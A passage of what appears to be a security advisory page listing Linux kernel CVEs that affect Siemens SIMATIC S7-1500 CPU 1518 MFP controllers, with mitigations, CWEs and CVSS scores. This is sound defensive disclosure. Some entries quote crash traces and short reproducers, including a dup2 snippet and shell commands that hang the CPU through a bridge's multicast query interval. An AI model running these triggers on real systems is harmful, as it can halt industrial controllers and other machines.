<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39721</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: qat - flush misc workqueue during device shutdown Repeated loading and unloading of a device specific QAT driver, for example qat_4xxx, in a tight loop can lead to a crash due to a use-after-free scenario. This occurs when a power management (PM) interrupt triggers just before the device-specific driver (e.g., qat_4xxx.ko) is unloaded, while the core driver (intel_qat.ko) remains loaded. Since the driver uses a shared workqueue (`qat_misc_wq`) across all devices and owned by intel_qat.ko, a deferred routine from the device-specific driver may still be pending in the queue. If this routine executes after the driver is unloaded, it can dereference freed memory, resulting in a page fault and kernel crash like the following: BUG: unable to handle page fault for address: ffa000002e50a01c #PF: supervisor read access in kernel mode RIP: 0010:pm_bh_handler+0x1d2/0x250 [intel_qat] Call Trace: pm_bh_handler+0x1d2/0x250 [intel_qat] process_one_work+0x171/0x340 worker_thread+0x277/0x3a0 kthread+0xf0/0x120 ret_from_fork+0x2d/0x50 To prevent this, flush the misc workqueue during device shutdown to ensure that all pending work items are completed before the driver is unloaded. Note: This approach may slightly increase shutdown latency if the workqueue contains jobs from other devices, but it ensures correctness and stability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39721">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39748</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Forget ranges when refining tnum after JSET Syzbot reported a kernel warning due to a range invariant violation on the following BPF program. 0: call bpf_get_netns_cookie 1: if r0 == 0 goto 2: if r0 &amp; Oxffffffff goto The issue is on the path where we fall through both jumps. That path is unreachable at runtime: after insn 1, we know r0 != 0, but with the sign extension on the jset, we would only fallthrough insn 2 if r0 == 0. Unfortunately, is_branch_taken() isn't currently able to figure this out, so the verifier walks all branches. The verifier then refines the register bounds using the second condition and we end up with inconsistent bounds on this unreachable path: 1: if r0 == 0 goto r0: u64=[0x1, 0xffffffffffffffff] var_off=(0, 0xffffffffffffffff) 2: if r0 &amp; 0xffffffff goto r0 before reg_bounds_sync: u64=[0x1, 0xffffffffffffffff] var_off=(0, 0) r0 after reg_bounds_sync: u64=[0x1, 0] var_off=(0, 0) Improving the range refinement for JSET to cover all cases is tricky. We also don't expect many users to rely on JSET given LLVM doesn't generate those instructions. So instead of improving the range refinement for JSETs, Eduard suggested we forget the ranges whenever we're narrowing tnums after a JSET. This patch implements that approach.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39748">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/478.html">CWE-478 Missing Default Case in Multiple Condition Expression</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39756</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: &gt; 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 &gt; /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &amp;rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (&gt;8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical &gt;8GB memory allocation request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39756">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: remove refcounting in expectation dumpers Same pattern as previous patch: do not keep the expectation object alive via refcount, only store a cookie value and then use that as the skip hint for dump resumption. AFAICS this has the same issue as the one resolved in the conntrack dumper, when we do if (!refcount_inc_not_zero(&amp;exp-&gt;use)) to increment the refcount, there is a chance that exp == last, which causes a double-increment of the refcount and subsequent memory leak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39770</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 ("net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets"): "The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices." kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39770">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/573.html">CWE-573 Improper Following of Specification by Caller</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39773</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 &gt; /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff &gt; /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a ("net: bridge: mcast: add and enforce query interval minimum"), add check for the query interval maximum to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39782</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39782">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39795</a></h3>
<div class="csaf-accordion-content">
